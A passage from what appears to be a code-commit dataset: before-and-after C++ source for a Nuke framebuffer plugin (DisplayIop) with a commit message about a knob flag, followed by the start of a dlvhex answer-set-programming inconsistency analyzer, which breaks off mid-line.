image->getDataWindow();\n\t\tinputDisplayWindow = image->getDisplayWindow();\n\t}\n\t\n\tint i = 0;\n\twhile( inputChannels[i] )\n\t{\n\t\tconst FloatVectorData *inputData = image ? image->variableData<FloatVectorData>( inputChannels[i] ) : 0;\n\t\tif( inputData )\n\t\t{\n\t\t\tfloat *output = row.writable( outputChannels[i] ) + x;\n\t\t\t\/\/ remap coordinate relative to our data window. nuke images have pixel origin at bottom,\n\t\t\t\/\/ cortex images have pixel origin at top.\n\t\t\tV2i pDataWindow = V2i( x, inputDisplayWindow.max.y - y ) - inputDataWindow.min;\n\t\t\tconst float *input = &((inputData->readable())[pDataWindow.y*(inputDataWindow.size().x+1) + pDataWindow.x]);\n\t\t\tmemcpy( output, input, (r-x) * sizeof( float ) );\n\t\t}\n\t\telse\n\t\t{\n\t\t\trow.erase( outputChannels[i] );\n\t\t}\n\t\ti++;\n\t} \n}\n\nDD::Image::Op *DisplayIop::build( Node *node )\n{\n\treturn new DisplayIop( node );\n}\n\nDisplayIop *DisplayIop::firstDisplayIop()\n{\n\treturn static_cast<DisplayIop *>( firstOp() );\n}\n\nvoid DisplayIop::driverCreated( NukeDisplayDriver *driver )\n{\n\tConstStringDataPtr portNumber = driver->parameters()->member<StringData>( \"displayPort\" );\n\tif( portNumber && boost::lexical_cast<int>( portNumber->readable() ) == m_portNumber )\n\t{\n\t\tfirstDisplayIop()->connectToDriver( driver );\n\t}\n}\n\nvoid DisplayIop::connectToDriver( NukeDisplayDriver *driver )\n{\n\tassert( this == firstDisplayIop() );\n\n\tif( m_driver )\n\t{\n\t\tm_driver->dataReceivedSignal.disconnect( boost::bind( &DisplayIop::driverDataReceived, this, _1, _2 ) );\n\t}\n\t\n\tm_driver = driver;\n\tif( m_driver )\n\t{\n\t\tm_driver->dataReceivedSignal.connect( boost::bind( &DisplayIop::driverDataReceived, this, _1, _2 ) );\t\n\t}\n\t\n\tm_updateCount++;\n\tasapUpdate();\n}\n\nvoid DisplayIop::driverDataReceived( NukeDisplayDriver *driver, const Imath::Box2i &box )\n{\n\tassert( this == firstDisplayIop() );\n\tm_updateCount++;\n\tasapUpdate();\n}\n<commit_msg>Setting KNOB_CHANGED_RECURSIVE on port number knob to work around nuke not calling DisplayIop::knob_changed() when the knob is changed from a PythonPanel.knobChanged() method.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2012, J3P LLC. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of Image Engine Design nor the names of any\n\/\/ other contributors to this software may be used to endorse or\n\/\/ promote products derived from this software without specific prior\n\/\/ written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/ IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/ LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/ NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"DDImage\/Knobs.h\"\n#include \"DDImage\/Row.h\"\n\n#include \"boost\/signal.hpp\"\n#include \"boost\/bind.hpp\"\n#include \"boost\/lexical_cast.hpp\"\n\n#include \"IECore\/LRUCache.h\"\n#include \"IECore\/ImageDisplayDriver.h\"\n\n#include \"IECoreNuke\/DisplayIop.h\"\n#include \"IECoreNuke\/TypeIds.h\"\n\nusing namespace IECore;\nusing namespace IECoreNuke;\nusing namespace DD::Image;\nusing namespace Imath;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DisplayDriverServer cache. Many nodes may all want to use a server on\n\/\/ the same port. We therefore use an LRUCache to manage the lifetime of\n\/\/ the servers and provide them to the nodes.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ntypedef LRUCache<int, DisplayDriverServerPtr> ServerCache;\n\n\/\/ key is the port number for the server.\nstatic DisplayDriverServerPtr serverCacheGetter( int key, size_t cost )\n{\n\tcost = 1;\n\treturn new DisplayDriverServer( key );\n}\n\n\/\/ max cost of 4 means we will never have more than 4 unused servers at any one time.\nstatic ServerCache g_servers( serverCacheGetter, 4 );\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ NukeDisplayDriver implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace IECoreNuke\n{\n\nclass NukeDisplayDriver : public IECore::ImageDisplayDriver\n{\n\n\tpublic :\n\t\n\t\tIE_CORE_DECLARERUNTIMETYPEDEXTENSION( NukeDisplayDriver, NukeDisplayDriverTypeId, ImageDisplayDriver );\n\t\t\n\t\tNukeDisplayDriver( const Imath::Box2i &displayWindow, const Imath::Box2i &dataWindow, const std::vector<std::string> &channelNames, ConstCompoundDataPtr parameters )\n\t\t\t:\tImageDisplayDriver( displayWindow, dataWindow, channelNames, parameters )\n\t\t{\n\t\t\tif( parameters )\n\t\t\t{\n\t\t\t\tm_parameters = parameters->copy();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tm_parameters = new CompoundData;\n\t\t\t}\n\t\t\t\n\t\t\tinstanceCreatedSignal( this );\n\t\t}\n\t\t\n\t\tvirtual ~NukeDisplayDriver()\n\t\t{\n\t\t}\n\n\t\t\/\/\/ Returns a copy of the parameters used in creating this instance. This\n\t\t\/\/\/ is useful in recognising relevant instances in the instanceCreatedSignal.\n\t\tConstCompoundDataPtr parameters() const\n\t\t{\n\t\t\treturn m_parameters;\n\t\t}\n\n\t\t\/\/\/ Updates the current image, and then emits the dataReceivedSignal.\n\t\tvirtual void imageData( const Imath::Box2i &box, const float *data, size_t dataSize )\n\t\t{\n\t\t\tImageDisplayDriver::imageData( box, data, dataSize );\t\t\t\n\t\t\tdataReceivedSignal( this, box );\n\t\t}\n\t\t\n\t\t\/\/\/ This signal is emitted when a new NukeDisplayDriver has been created.\n\t\t\/\/\/ This allows nuke nodes to pick up the new DisplayDrivers even when they're\n\t\t\/\/\/ created in some other code, such as a DisplayDriverServer.\n\t\ttypedef boost::signal<void( NukeDisplayDriver * )> InstanceCreatedSignal;\n\t\tstatic InstanceCreatedSignal instanceCreatedSignal;\n\t\t\n\t\t\/\/\/ This signal is emitted when this NukeDisplayDriver instance receives new data.\n\t\ttypedef boost::signal<void( NukeDisplayDriver *, const Imath::Box2i &box )> DataReceivedSignal;\n\t\tDataReceivedSignal dataReceivedSignal;\n\t\t\n\tprivate :\n\t\n\t\tstatic const DisplayDriverDescription<NukeDisplayDriver> g_description;\n\n\t\tConstCompoundDataPtr m_parameters;\n\n};\n\nNukeDisplayDriver::InstanceCreatedSignal NukeDisplayDriver::instanceCreatedSignal;\nconst DisplayDriver::DisplayDriverDescription<NukeDisplayDriver> NukeDisplayDriver::g_description;\n\n} \/\/ namespace IECoreNuke\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DisplayIop implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nconst DD::Image::Iop::Description DisplayIop::g_description( \"ieDisplay\", DisplayIop::build );\n\nDisplayIop::DisplayIop( Node *node )\n\t:\tIop( node ), m_portNumber( 1559 ), m_server( g_servers.get( m_portNumber ) ), m_updateCount( 0 ), m_driver( 0 )\n{\n\tinputs( 0 );\n\tslowness( 0 ); \/\/ disable caching as we're buffering everything internally ourselves\n\tNukeDisplayDriver::instanceCreatedSignal.connect( boost::bind( &DisplayIop::driverCreated, this, _1 ) );\n}\n\nDisplayIop::~DisplayIop()\n{\n\tNukeDisplayDriver::instanceCreatedSignal.disconnect( boost::bind( &DisplayIop::driverCreated, this, _1 ) );\n\tconnectToDriver( 0 );\n}\n\nconst char *DisplayIop::Class() const\n{\n\treturn \"ieDisplay\";\n}\n\nconst char *DisplayIop::node_help() const\n{\n\treturn \"Acts as a framebuffer for external renderers.\";\n}\n\nvoid DisplayIop::knobs( DD::Image::Knob_Callback f )\n{\n\tIop::knobs( f );\n\t\n\tInt_knob( f, &m_portNumber, \"portNumber\", \"Port Number\" );\n\t\/\/ we must have KNOB_CHANGED_RECURSIVE set otherwise nuke doesn't give us knob_changed()\n\t\/\/ calls when the knob value is changed from a knobChanged method of a PythonPanel.\n\tSetFlags( f, Knob::KNOB_CHANGED_ALWAYS | Knob::KNOB_CHANGED_RECURSIVE | Knob::NO_ANIMATION );\n\tTooltip(\n\t\tf,\n\t\t\"The port on which to receive images. This must match \"\n\t\t\"the port being used by the renderer to send images.\"\n\t);\n\t\n}\n\nint DisplayIop::knob_changed( DD::Image::Knob *knob )\n{\t\n\tif( knob->is( \"portNumber\" ) )\n\t{\n\t \tint portNumber = this->knob( \"portNumber\" )->get_value();\n\t\tm_server = g_servers.get( portNumber );\n\t\treturn 1;\n\t}\n\t\n\treturn Iop::knob_changed( knob );\n}\n\nvoid DisplayIop::append( DD::Image::Hash &hash )\n{\n\tIop::append( hash );\n\t\n\thash.append( __DATE__ ); \n\thash.append( __TIME__ );\n\thash.append( firstDisplayIop()->m_updateCount );\n}\n\nvoid DisplayIop::_validate( bool forReal )\n{\n\tBox2i displayWindow( V2i( 0, 0 ), V2i( 255, 255 ) );\n\t\n\tif( firstDisplayIop()->m_driver )\n\t{\n\t\tdisplayWindow = firstDisplayIop()->m_driver->image()->getDisplayWindow();\n\t}\n\n\tm_format = m_fullSizeFormat = Format( displayWindow.size().x + 1, displayWindow.size().y + 1 );\n\t\/\/ these set function don't copy the format, but instead reference its address.\n\t\/\/ we therefore have to store the format as member data.\n\tinfo_.format( m_format );\n\tinfo_.full_size_format( m_fullSizeFormat );\n\tinfo_.set( m_format );\n\t\n\tinfo_.channels( Mask_RGBA );\n}\n\nvoid DisplayIop::engine( int y, int x, int r, const DD::Image::ChannelSet &channels, DD::Image::Row &row )\n{\n\tChannel outputChannels[4] = { Chan_Red, Chan_Green, Chan_Blue, Chan_Alpha };\n\tconst char *inputChannels[] = { \"R\", \"G\", \"B\", \"A\", 0 };\n\t\n\tconst ImagePrimitive *image = 0;\n\tBox2i inputDataWindow;\n\tBox2i inputDisplayWindow;\n\tif( firstDisplayIop()->m_driver )\n\t{\n\t\timage = firstDisplayIop()->m_driver->image().get();\n\t\tinputDataWindow = image->getDataWindow();\n\t\tinputDisplayWindow = image->getDisplayWindow();\n\t}\n\t\n\tint i = 0;\n\twhile( inputChannels[i] )\n\t{\n\t\tconst FloatVectorData *inputData = image ? image->variableData<FloatVectorData>( inputChannels[i] ) : 0;\n\t\tif( inputData )\n\t\t{\n\t\t\tfloat *output = row.writable( outputChannels[i] ) + x;\n\t\t\t\/\/ remap coordinate relative to our data window. nuke images have pixel origin at bottom,\n\t\t\t\/\/ cortex images have pixel origin at top.\n\t\t\tV2i pDataWindow = V2i( x, inputDisplayWindow.max.y - y ) - inputDataWindow.min;\n\t\t\tconst float *input = &((inputData->readable())[pDataWindow.y*(inputDataWindow.size().x+1) + pDataWindow.x]);\n\t\t\tmemcpy( output, input, (r-x) * sizeof( float ) );\n\t\t}\n\t\telse\n\t\t{\n\t\t\trow.erase( outputChannels[i] );\n\t\t}\n\t\ti++;\n\t} \n}\n\nDD::Image::Op *DisplayIop::build( Node *node )\n{\n\treturn new DisplayIop( node );\n}\n\nDisplayIop *DisplayIop::firstDisplayIop()\n{\n\treturn static_cast<DisplayIop *>( firstOp() );\n}\n\nvoid DisplayIop::driverCreated( NukeDisplayDriver *driver )\n{\n\tConstStringDataPtr portNumber = driver->parameters()->member<StringData>( \"displayPort\" );\n\tif( portNumber && boost::lexical_cast<int>( portNumber->readable() ) == m_portNumber )\n\t{\n\t\tfirstDisplayIop()->connectToDriver( driver );\n\t}\n}\n\nvoid DisplayIop::connectToDriver( NukeDisplayDriver *driver )\n{\n\tassert( this == firstDisplayIop() );\n\n\tif( m_driver )\n\t{\n\t\tm_driver->dataReceivedSignal.disconnect( boost::bind( &DisplayIop::driverDataReceived, this, _1, _2 ) );\n\t}\n\t\n\tm_driver = driver;\n\tif( m_driver )\n\t{\n\t\tm_driver->dataReceivedSignal.connect( boost::bind( &DisplayIop::driverDataReceived, this, _1, _2 ) );\t\n\t}\n\t\n\tm_updateCount++;\n\tasapUpdate();\n}\n\nvoid DisplayIop::driverDataReceived( NukeDisplayDriver *driver, const Imath::Box2i &box )\n{\n\tassert( this == firstDisplayIop() );\n\tm_updateCount++;\n\tasapUpdate();\n}\n<|endoftext|>"} {"text":"<commit_before>\/* dlvhex -- Answer-Set Programming with external interfaces.\n * Copyright (C) 2005-2007 Roman Schindlauer\n * Copyright (C) 2006-2015 Thomas Krennwallner\n * Copyright (C) 2009-2016 Peter Schüller\n * Copyright (C) 2011-2016 Christoph Redl\n * Copyright (C) 2015-2016 Tobias Kaminski\n * Copyright (C) 2015-2016 Antonius Weinzierl\n *\n * This file is part of dlvhex.\n *\n * dlvhex is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of\n * the License, or (at your option) any later version.\n *\n * dlvhex is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with dlvhex; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA.\n *\/\n\n\/**\n * @file InconsistencyAnalyzer.cpp\n * @author Christoph Redl\n * @date Wed April 20 2016\n *\n * @brief Computes a reason for the inconsistency in a program unit.\n *\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"dlvhex2\/BaseModelGenerator.h\"\n#include \"dlvhex2\/InconsistencyAnalyzer.h\"\n#include \"dlvhex2\/Printer.h\"\n#include \"dlvhex2\/ProgramCtx.h\"\n#include \"dlvhex2\/Benchmarking.h\"\n#include \"dlvhex2\/Benchmarking.h\"\n#include \"dlvhex2\/InternalGrounder.h\"\n#include \"dlvhex2\/SATSolver.h\"\n\n#include <boost\/graph\/breadth_first_search.hpp>\n#include <boost\/graph\/visitors.hpp>\n#include <boost\/graph\/strong_components.hpp>\n#include <boost\/graph\/filtered_graph.hpp>\n\n#include <boost\/foreach.hpp>\n\nDLVHEX_NAMESPACE_BEGIN\n\nInconsistencyAnalyzer::InconsistencyAnalyzer(ProgramCtx& ctx) : ctx(ctx){\n}\n\nNogood InconsistencyAnalyzer::getInconsistencyReason(BaseModelGenerator* mg, InterpretationConstPtr explAtoms, InterpretationConstPtr unitInput, std::vector<ID>& innerEatoms, OrdinaryASPProgram& program, AnnotatedGroundProgram& annotatedOptimizedProgram, bool* haveInconsistencyReason){\n\n#ifndef NDEBUG\n DBGLOG(DBG, \"Performing inconsistency analyzis for program:\" << std::endl << *program.edb << std::endl << printManyToString<RawPrinter>(program.idb, \"\\n\", ctx.registry()));\n#endif\n\n \/\/ ground the program without optimization\n InternalGrounder grounder(ctx, program, InternalGrounder::builtin);\n OrdinaryASPProgram gp = grounder.getGroundProgram();\n\n#ifndef NDEBUG\n DBGLOG(DBG, \"Unoptimized grounded program:\" << std::endl << *gp.edb << std::endl << printManyToString<RawPrinter>(gp.idb, \"\\n\", ctx.registry()));\n#endif\n\n \/\/ Construct domain of the SAT instance.\n \/\/ It consists of all external atom input atoms and all ordinary atoms in the program (to be added below).\n \/\/ It can be constructed by using the program mask of the previous (optimized) grounding and adding newly introduced atoms in the non-optimized grounding.\n \/\/ All input atoms from predecessor components are already contained in the program mask of the optimized grounding.\n InterpretationPtr domain(new Interpretation(*annotatedOptimizedProgram.getProgramMask()));\n\n for (int eaIndex = 0; eaIndex < innerEatoms.size(); ++eaIndex) {\n const ExternalAtom& eatom = ctx.registry()->eatoms.getByID(innerEatoms[eaIndex]);\n eatom.updatePredicateInputMask();\n domain->add(*(eatom.getPredicateInputMask()));\n }\n\n bm::bvector<>::enumerator en, en_end;\n\n \/\/ remove input from predecessor units\n InterpretationPtr newEdb(new Interpretation(*gp.edb));\n newEdb->getStorage() -= unitInput->getStorage();\n gp.edb = newEdb;\n\n#ifndef NDEBUG\n DBGLOG(DBG, \"Program to be analyzed:\" << std::endl << *gp.edb << std::endl << printManyToString<RawPrinter>(gp.idb, \"\\n\", ctx.registry()));\n#endif\n\n NogoodSet instance;\n\n \/\/ add input is pseudo-nogoods to make sure they are part of the problem\n en = unitInput->getStorage().first();\n en_end = unitInput->getStorage().end();\n while (en < en_end) {\n Nogood ng;\n ng.insert(NogoodContainer::createLiteral(*en, true));\n ng.insert(NogoodContainer::createLiteral(*en, false));\n instance.addNogood(ng);\n en++;\n }\n\n \/\/ interprete the ground program as a set of classical implications\n if (!!gp.edb) {\n en = gp.edb->getStorage().first();\n en_end = gp.edb->getStorage().end();\n while (en < en_end) {\n Nogood ng;\n ng.insert(NogoodContainer::createLiteral(*en, false));\n instance.addNogood(ng);\n\/\/ domain->setFact(*en);\n en++;\n }\n }\n BOOST_FOREACH (ID ruleID, gp.idb) {\n const Rule& rule = ctx.registry()->rules.getByID(ruleID);\n\t Nogood ng;\n BOOST_FOREACH (ID h, rule.head) { ng.insert(NogoodContainer::createLiteral(h.address, false)); domain->setFact(h.address); }\n BOOST_FOREACH (ID b, rule.body) { ng.insert(NogoodContainer::createLiteral(b.address, !b.isNaf())); domain->setFact(b.address); }\n instance.addNogood(ng);\n }\n SATSolverPtr classicalSolver = SATSolver::getInstance(ctx, instance \/*, domain*\/);\n\n \/\/ explanation atoms are all atoms from the domain which are not defined in the given program, i.e., which do not unify with a head atom in program\n\/*\n InterpretationPtr explanationAtoms(new Interpretation(ctx.registry()));\n en = domain->getStorage().first();\n en_end = domain->getStorage().end();\n while (en < en_end) {\n const OrdinaryAtom& datom = ctx.registry()->ogatoms.getByAddress(*en);\n\n bool definedInProgram = false;\n BOOST_FOREACH (ID ruleID, program.idb) {\n const Rule& rule = ctx.registry()->rules.getByID(ruleID);\n BOOST_FOREACH (ID hatomID, rule.head) {\n const OrdinaryAtom& hatom = ctx.registry()->lookupOrdinaryAtom(hatomID);\n if (datom.unifiesWith(hatom)) {\n definedInProgram = true;\n break;\n }\n en++;\n }\n }\n\n if (!definedInProgram) explanationAtoms->setFact(*en);\n }\n*\/\n DBGLOG(DBG, \"Explanation atoms: \" << *explAtoms);\n\n \/\/ compute the classical models and an inconsistency reason\n Nogood inconsistencyReason;\n InterpretationPtr alreadyPos(new Interpretation(ctx.registry()));\n InterpretationPtr alreadyNeg(new Interpretation(ctx.registry()));\n InterpretationConstPtr model;\n while ( (model = classicalSolver->getNextModel()) != InterpretationConstPtr() ) {\n \/\/ compatibility check\n bool verified = true;\n for (int eaIndex = 0; eaIndex < innerEatoms.size() && verified; ++eaIndex){\n BaseModelGenerator::VerifyExternalAtomCB vcb(model, ctx.registry()->eatoms.getByID(innerEatoms[eaIndex]), *(annotatedOptimizedProgram.getEAMask(eaIndex)));\n mg->evaluateExternalAtom(ctx, innerEatoms[eaIndex], model, vcb, ctx.config.getOption(\"ExternalLearning\") ? classicalSolver : NogoodContainerPtr());\n verified &= vcb.verify();\n }\n\n if (verified) {\n DBGLOG(DBG, \"Got classical model: \" << *model);\n\n \/\/ add a literal \"l\" over some explanation atom \"a\", where the sign of \"l\" is the opposite of \"a\"'s sign in the model\n en = explAtoms->getStorage().first();\n en_end = explAtoms->getStorage().end();\n while (en < en_end) {\n \/\/ Use its negation in the inconsistency explanation; this will either:\n \/\/ (i) prevent super sets of this model from becoming models of the program (namely if l=\"F a\"; then adding \"a\" as fact will eliminate the model because \"a\" must be true); or\n \/\/ (ii) ensure that there is a non-empty unfounded set (namely if l=T a); then *not* adding \"a\" as fact will leave \"a\" unfounded)\n if (model->getFact(*en)) {\n if (alreadyPos->getFact(*en)) { en++; continue; } \/\/ cannot use this literal because it needs to be added negatively but is already positive\n if (alreadyNeg->getFact(*en)) break; \/\/ needs to be added negatively and is already negative --> done\n DBGLOG(DBG, \"Adding -\" << printToString<RawPrinter>(ctx.registry()->ogatoms.getIDByAddress(*en), ctx.registry()) << \" to reason nogood\");\n inconsistencyReason.insert(NogoodContainer::createLiteral(*en, false));\n alreadyNeg->setFact(*en);\n\n \/\/ eliminate all models with this literal\n Nogood ng;\n ng.insert(NogoodContainer::createLiteral(*en, true));\n classicalSolver->addNogood(ng);\n break;\n }else{\n if (alreadyNeg->getFact(*en)) { en++; continue; } \/\/ cannot use this literal because it needs to be added positively but is already negative\n if (alreadyPos->getFact(*en)) break; \/\/ needs to be added positively and is already positive --> done\n DBGLOG(DBG, \"Adding \" << printToString<RawPrinter>(ctx.registry()->ogatoms.getIDByAddress(*en), ctx.registry()) << \" to reason nogood\");\n inconsistencyReason.insert(NogoodContainer::createLiteral(*en, true));\n alreadyPos->setFact(*en);\n\n \/\/ eliminate all models with this literal\n Nogood ng;\n ng.insert(NogoodContainer::createLiteral(*en, false));\n classicalSolver->addNogood(ng);\n break;\n }\n en++;\n }\n if (en == en_end) {\n \/\/ could not find a reason\n DBGLOG(DBG, \"No inconsistency reason found\");\n *haveInconsistencyReason = false;\n return Nogood();\n }\n }\n }\n DBGLOG(DBG, \"Found inconsistency reason: \" << inconsistencyReason.getStringRepresentation(ctx.registry()) << std::endl << \"for program \" << *gp.edb << std::endl << printManyToString<RawPrinter>(gp.idb, \"\\n\", ctx.registry()) << std::endl << \"wrt. explanation atoms \" << *explAtoms);\n *haveInconsistencyReason = true;\n return inconsistencyReason;\n}\n\nDLVHEX_NAMESPACE_END\n\n\/\/ vim:expandtab:ts=4:sw=4:\n\/\/ mode: C++\n\/\/ End:\n<commit_msg>some fixes<commit_after>\/* dlvhex -- Answer-Set Programming with external interfaces.\n * Copyright (C) 2005-2007 Roman Schindlauer\n * Copyright (C) 2006-2015 Thomas Krennwallner\n * Copyright (C) 2009-2016 Peter Schüller\n * Copyright (C) 2011-2016 Christoph Redl\n * Copyright (C) 2015-2016 Tobias Kaminski\n * Copyright (C) 2015-2016 Antonius Weinzierl\n *\n * This file is part of dlvhex.\n *\n * dlvhex is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of\n * the License, or (at your option) any later version.\n *\n * dlvhex is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with dlvhex; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA.\n *\/\n\n\/**\n * @file InconsistencyAnalyzer.cpp\n * @author Christoph Redl\n * @date Wed April 20 2016\n *\n * @brief Computes a reason for the inconsistency in a program unit.\n *\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"dlvhex2\/BaseModelGenerator.h\"\n#include \"dlvhex2\/InconsistencyAnalyzer.h\"\n#include \"dlvhex2\/Printer.h\"\n#include \"dlvhex2\/ProgramCtx.h\"\n#include \"dlvhex2\/Benchmarking.h\"\n#include \"dlvhex2\/Benchmarking.h\"\n#include \"dlvhex2\/InternalGrounder.h\"\n#include \"dlvhex2\/SATSolver.h\"\n\n#include <boost\/graph\/breadth_first_search.hpp>\n#include <boost\/graph\/visitors.hpp>\n#include <boost\/graph\/strong_components.hpp>\n#include <boost\/graph\/filtered_graph.hpp>\n\n#include <boost\/foreach.hpp>\n\nDLVHEX_NAMESPACE_BEGIN\n\nInconsistencyAnalyzer::InconsistencyAnalyzer(ProgramCtx& ctx) : ctx(ctx){\n}\n\nNogood InconsistencyAnalyzer::getInconsistencyReason(BaseModelGenerator* mg, InterpretationConstPtr explAtoms, InterpretationConstPtr unitInput, std::vector<ID>& innerEatoms, OrdinaryASPProgram& program, AnnotatedGroundProgram& annotatedOptimizedProgram, bool* haveInconsistencyReason){\n\n#ifndef NDEBUG\n DBGLOG(DBG, \"Performing inconsistency analyzis for program:\" << std::endl << *program.edb << std::endl << printManyToString<RawPrinter>(program.idb, \"\\n\", ctx.registry()));\n#endif\n\n \/\/ ground the program without optimization\n InternalGrounder grounder(ctx, program, InternalGrounder::builtin);\n OrdinaryASPProgram gp = grounder.getGroundProgram();\n\n#ifndef NDEBUG\n DBGLOG(DBG, \"Unoptimized grounded program:\" << std::endl << *gp.edb << std::endl << printManyToString<RawPrinter>(gp.idb, \"\\n\", ctx.registry()));\n#endif\n\n \/\/ Construct domain of the SAT instance.\n \/\/ It consists of all external atom input atoms and all ordinary atoms in the program (to be added below).\n \/\/ It can be constructed by using the program mask of the previous (optimized) grounding and adding newly introduced atoms in the non-optimized grounding.\n \/\/ All input atoms from predecessor components are already contained in the program mask of the optimized grounding.\n InterpretationPtr domain(new Interpretation(*annotatedOptimizedProgram.getProgramMask()));\n\n for (int eaIndex = 0; eaIndex < innerEatoms.size(); ++eaIndex) {\n const ExternalAtom& eatom = ctx.registry()->eatoms.getByID(innerEatoms[eaIndex]);\n eatom.updatePredicateInputMask();\n domain->add(*(eatom.getPredicateInputMask()));\n }\n\n bm::bvector<>::enumerator en, en_end;\n\n \/\/ remove input from predecessor units\n InterpretationPtr newEdb(new Interpretation(*gp.edb));\n newEdb->getStorage() -= unitInput->getStorage();\n gp.edb = newEdb;\n\n#ifndef NDEBUG\n DBGLOG(DBG, \"Program to be analyzed:\" << std::endl << *gp.edb << std::endl << printManyToString<RawPrinter>(gp.idb, \"\\n\", ctx.registry()));\n#endif\n\n NogoodSet instance;\n\n \/\/ add input is pseudo-nogoods to make sure they are part of the problem\n en = unitInput->getStorage().first();\n en_end = unitInput->getStorage().end();\n while (en < en_end) {\n Nogood ng;\n ng.insert(NogoodContainer::createLiteral(*en, true));\n ng.insert(NogoodContainer::createLiteral(*en, false));\n instance.addNogood(ng);\n en++;\n }\n\n \/\/ interprete the ground program as a set of classical implications\n if (!!gp.edb) {\n en = gp.edb->getStorage().first();\n en_end = gp.edb->getStorage().end();\n while (en < en_end) {\n Nogood ng;\n ng.insert(NogoodContainer::createLiteral(*en, false));\n instance.addNogood(ng);\n\/\/ domain->setFact(*en);\n en++;\n }\n }\n BOOST_FOREACH (ID ruleID, gp.idb) {\n const Rule& rule = ctx.registry()->rules.getByID(ruleID);\n\t Nogood ng;\n BOOST_FOREACH (ID h, rule.head) { ng.insert(NogoodContainer::createLiteral(h.address, false)); domain->setFact(h.address); }\n BOOST_FOREACH (ID b, rule.body) { ng.insert(NogoodContainer::createLiteral(b.address, 